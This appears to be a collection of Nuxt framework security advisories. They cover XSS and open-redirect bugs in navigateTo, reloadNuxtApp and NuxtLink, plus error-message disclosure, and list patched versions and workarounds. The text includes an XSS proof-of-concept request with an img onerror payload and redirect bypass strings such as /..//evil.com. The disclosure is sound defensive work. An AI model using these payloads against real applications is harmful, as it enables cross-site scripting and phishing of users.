GET /?next=https://evil.example/x><img src=x onerror=alert(document.domain)>
Response body:
html <!DOCTYPE html><html><head><meta http-equiv="refresh" content="0; url=https://evil.example/x><img src=x onerror=alert(document.domain)>"></head></html>
The > after evil.example/x terminates the content="…" attribute, and the <img onerror> tag executes JavaScript in the application's origin before any redirect occurs.
Patches Fixed in nuxt@4.4.6 and nuxt@3.21.6 by #35052. The fix percent-encodes the full set of HTML-attribute-significant characters (&, ", ', <, >) before interpolating the URL into the meta-refresh body
Workarounds If you can't upgrade immediately, validate user-controlled URLs before passing them to navigateTo(url, { external: true }). At minimum, normalise through new URL(input).toString() and reject inputs containing < or > (a normalised URL with these characters is malformed and safe to refuse).
Nuxt versions 4.0.0 before 4.4.7 and 3.x before 3.21.7 accept protocol-relative paths such as //evil.com in the reloadNuxtApp function; these pass the script-protocol check but resolve to a cross-origin URL against the current page protocol. Attackers can inject paths like //evil.com to redirect users to attacker-controlled hosts, enabling phishing and OAuth authorization-code theft.
Nuxt versions 4.0.0 before 4.4.7 and 3.x before 3.21.7 fail to validate script-capable URLs in the navigateTo open option, allowing client-side script execution. Attackers can supply javascript: URLs through the open parameter to execute arbitrary scripts in the application's origin when user-controlled input is passed to navigateTo.
Nuxt versions 4.0.0 before 4.4.7 and 3.x before 3.21.7 contain a server-side open redirect vulnerability in navigateTo that fails to properly validate path-normalized payloads like /..//evil.com and /.//evil.com. Attackers can bypass external-host checks using path-normalization techniques to redirect users to attacker-controlled sites via the Location header or meta-refresh, enabling phishing and OAuth authorization-code theft.
Nuxt is an open-source web development framework for Vue.js. From 3.0.0 until 4.6.4, Nuxt wraps non-HTTP errors thrown during server rendering with createError and incorrectly treats the result as an error deliberately exposed by the application. In production, the error page payload (NUXTDATA) and JSON error response can therefore disclose the original message and data, including an upstream $fetch URL, query-string secrets, response bodies, database hosts, or similar sensitive details, regardless of what a custom error.vue renders. Errors deliberately created with createError or showError, errors returned by useFetch or useAsyncData, and server/api routes are not affected because their client-visible behavior is intentional or follows a different path. This issue is fixed in version 4.6.4.
Summary
<NuxtLink> did not validate the URL scheme of values bound to its to or href props before rendering them into the href attribute of the underlying <a> element. When an application binds attacker-controlled input (a query parameter, a CMS field, a user-supplied profile URL) to <NuxtLink :to> or :href, the attacker can supply a javascript: or vbscript: URL that is reflected verbatim into the rendered markup. Clicking the link executes the supplied script in the origin of the Nuxt application, resulting in reflected DOM-based cross-site scripting. A data:text/html,... payload reflected through the same sink does not execute in the application's origin but enables a same-tab phishing surface anchored to a legitimate application link.
The same value was exposed to consumers of the component's custom slot via the href and route.href props, so applications that re-bind those values to their own anchors were affected identically.
Unlike the previously reported navigateTo issue (CVE-2024-34343), the sink here is the rendered anchor itself; the existing isScriptProtocol checks in navigateTo and reloadNuxtApp are not on the code path. The onClick handler intentionally returns early for external links so the browser's native protocol-based navigation runs.
Affected component
- File: packages/nuxt/src/app/components/nuxt-link.ts - Sink: h('a', { href: href.value, ... }) in the default render, plus the href / route.href props passed to the custom slot. - Broken check: external auto-detection treated any hasProtocol(path, { acceptRelative: true }) value as an "external link", then rendered the value directly as <a href> without rejecting script-capable protocols. There was no equivalent of the navigateTo isScriptProtocol(protocol) gate in this path.
Impact
Any Nuxt application that binds user-controlled values to <NuxtLink :to> / :href was vulnerable. Common shapes: profile-link rendering (<NuxtLink :to="user.website">), "share this" / "open in new tab" handlers that pass through a query parameter, CMS-driven landing pages that render <NuxtLink :to="cms.cta.url">, and marketplace listings that show seller-supplied links.
For javascript: / vbscript: the primitive is reflected XSS in the application's first-party origin (session theft for non-HttpOnly cookies, CSRF token theft, account takeover via DOM rewriting, credential harvesting via fake login overlays). For data:text/html,... the attacker gets a same-tab phishing surface anchored to a legitimate application link.
Patches
Fixed in nuxt@4.4.7 (commit 0103ce06) and backported to nuxt@3.21.7 (commit 53284043). The fix sanitises the resolved external href before it is passed to <a> or the custom slot: control characters and whitespace are stripped, leading view-source: prefixes are unwrapped, and any remaining script-capable scheme (per isScriptProtocol) causes the href to be replaced with an empty string.
Workarounds
Until you can upgrade, validate URLs at the source before binding them to <NuxtLink :to> / :href. For example, only accept paths that start with / (and not //), or run user-supplied URLs through new URL(value) and reject anything whose protocol is not in an allow-list (typically http: and https:).